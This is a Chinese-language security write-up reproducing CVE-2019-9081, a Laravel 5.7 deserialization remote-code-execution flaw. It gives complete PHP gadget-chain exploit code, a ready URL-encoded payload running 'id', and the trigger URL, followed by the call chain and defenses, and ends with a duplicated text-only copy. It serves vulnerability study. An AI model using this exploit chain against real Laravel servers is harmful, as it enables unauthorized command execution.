Laravel入坑之CVE-2019-9081复现分析
字数 1391 2025-08-27 12:33:30

Laravel反序列化漏洞CVE-2019-9081分析与复现

漏洞概述

CVE-2019-9081是Laravel Framework 5.7.x版本中Illuminate组件存在的一个反序列化漏洞,远程攻击者可利用该漏洞执行任意代码。

环境准备

系统要求

  • PHP版本 >= 7.1.3(推荐PHP 7.2)
  • Laravel 5.7.x

环境配置(Ubuntu示例)

# 禁用Apache中的PHP7.0
sudo a2dismod php7.0

# 启用PHP7.2
sudo a2enmod php7.2

# 重启Apache
sudo systemctl restart apache2.service

漏洞分析

漏洞位置

漏洞出现在Illuminate\Foundation\Testing\PendingCommand.php文件中,其__destruct()方法中调用了run()函数来执行命令。

漏洞利用原理

通过反序列化该类的实例对象来调用run方法执行命令,达到RCE的效果。

漏洞利用链分析

关键类说明

  1. PendingCommand:包含可执行命令的run()方法
  2. GenericUser:用于绕过属性检查
  3. Application:用于控制依赖注入容器

利用链构造

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand {
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        
        public function __construct($command, $parameters, $class, $app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $class;
            $this->app = $app;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser {
        protected $attributes;
        
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation {
    class Application {
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        
        public function __construct($bind){
            $this->bindings = $bind;
        }
    }
}

namespace {
    $genericuser = new Illuminate\Auth\GenericUser(array(
        "expectedOutput" => array("0" => "1"),
        "expectedQuestions" => array("0" => "1")
    ));
    
    $application = new Illuminate\Foundation\Application(array(
        "Illuminate\Contracts\Console\Kernel" => array(
            "concrete" => "Illuminate\Foundation\Application"
        )
    ));
    
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system", array('id'), $genericuser, $application
    );
    
    echo urlencode(serialize($pendingcommand));
}
?>

关键点解析

  1. PendingCommand构造参数

    • $command:要执行的命令(如"system")
    • $parameters:命令参数(如array('id'))
    • $class:GenericUser实例
    • $app:Application实例
  2. GenericUser的作用

    • 提供expectedOutputexpectedQuestions属性
    • 当访问不存在的属性时触发__get()魔术方法
    • 绕过mockConsoleOutput()方法中的属性检查
  3. Application的作用

    • 控制$bindings属性
    • 使$this->app[Kernel::class]返回Application对象
    • 最终触发call_user_func_array()执行命令

漏洞复现步骤

  1. 生成Payload:

    • 执行上述EXP代码生成序列化字符串
    • 对结果进行URL编码
  2. 触发漏洞:

    • 通过GET参数传递序列化数据
    • 示例URL:http://target/index.php?code=[生成的payload]
  3. 典型Payload示例:

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A2%3A%7Bs%3A22%3A%22%00%2A%00hasBeenBootstrapped%22%3Bb%3A0%3Bs%3A11%3A%22%00%2A%00bindings%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A1%3A%7Bs%3A8%3A%22concrete%22%3Bs%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3B%7D%7D%7Ds%3A4%3A%22test%22%3BO%3A27%3A%22Illuminate%5CAuth%5CGenericUser%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00attributes%22%3Ba%3A2%3A%7Bs%3A14%3A%22expectedOutput%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7Ds%3A17%3A%22expectedQuestions%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3B%7D%7D%7D%7D

技术细节分析

反序列化流程

  1. unserialize()触发__destruct()
  2. 调用PendingCommandrun()方法
  3. run()调用mockConsoleOutput()
  4. 通过GenericUser绕过属性检查
  5. 最终执行call_user_func_array()实现RCE

关键函数调用链

  1. PendingCommand::__destruct()
  2. PendingCommand::run()
  3. PendingCommand::mockConsoleOutput()
  4. Application::make()
  5. Container::call()
  6. call_user_func_array()

防御措施

  1. 升级到Laravel安全版本
  2. 避免反序列化用户可控的数据
  3. 使用白名单验证反序列化的类
  4. 实现__wakeup()__destruct()方法的安全检查

参考资源

  1. Laravel v5.7反序列化RCE分析
  2. Laravel服务容器深度解析
  3. Laravel 5.7官方文档
  4. PHP自动加载机制解析
Laravel反序列化漏洞CVE-2019-9081分析与复现 漏洞概述 CVE-2019-9081是Laravel Framework 5.7.x版本中Illuminate组件存在的一个反序列化漏洞,远程攻击者可利用该漏洞执行任意代码。 环境准备 系统要求 PHP版本 >= 7.1.3(推荐PHP 7.2) Laravel 5.7.x 环境配置(Ubuntu示例) 漏洞分析 漏洞位置 漏洞出现在 Illuminate\Foundation\Testing\PendingCommand.php 文件中,其 __destruct() 方法中调用了 run() 函数来执行命令。 漏洞利用原理 通过反序列化该类的实例对象来调用 run 方法执行命令,达到RCE的效果。 漏洞利用链分析 关键类说明 PendingCommand :包含可执行命令的 run() 方法 GenericUser :用于绕过属性检查 Application :用于控制依赖注入容器 利用链构造 关键点解析 PendingCommand构造参数 : $command :要执行的命令(如"system") $parameters :命令参数(如array('id')) $class :GenericUser实例 $app :Application实例 GenericUser的作用 : 提供 expectedOutput 和 expectedQuestions 属性 当访问不存在的属性时触发 __get() 魔术方法 绕过 mockConsoleOutput() 方法中的属性检查 Application的作用 : 控制 $bindings 属性 使 $this->app[Kernel::class] 返回Application对象 最终触发 call_user_func_array() 执行命令 漏洞复现步骤 生成Payload: 执行上述EXP代码生成序列化字符串 对结果进行URL编码 触发漏洞: 通过GET参数传递序列化数据 示例URL: http://target/index.php?code=[生成的payload] 典型Payload示例: 技术细节分析 反序列化流程 unserialize() 触发 __destruct() 调用 PendingCommand 的 run() 方法 run() 调用 mockConsoleOutput() 通过 GenericUser 绕过属性检查 最终执行 call_user_func_array() 实现RCE 关键函数调用链 PendingCommand::__destruct() PendingCommand::run() PendingCommand::mockConsoleOutput() Application::make() Container::call() call_user_func_array() 防御措施 升级到Laravel安全版本 避免反序列化用户可控的数据 使用白名单验证反序列化的类 实现 __wakeup() 或 __destruct() 方法的安全检查 参考资源 Laravel v5.7反序列化RCE分析 Laravel服务容器深度解析 Laravel 5.7官方文档 PHP自动加载机制解析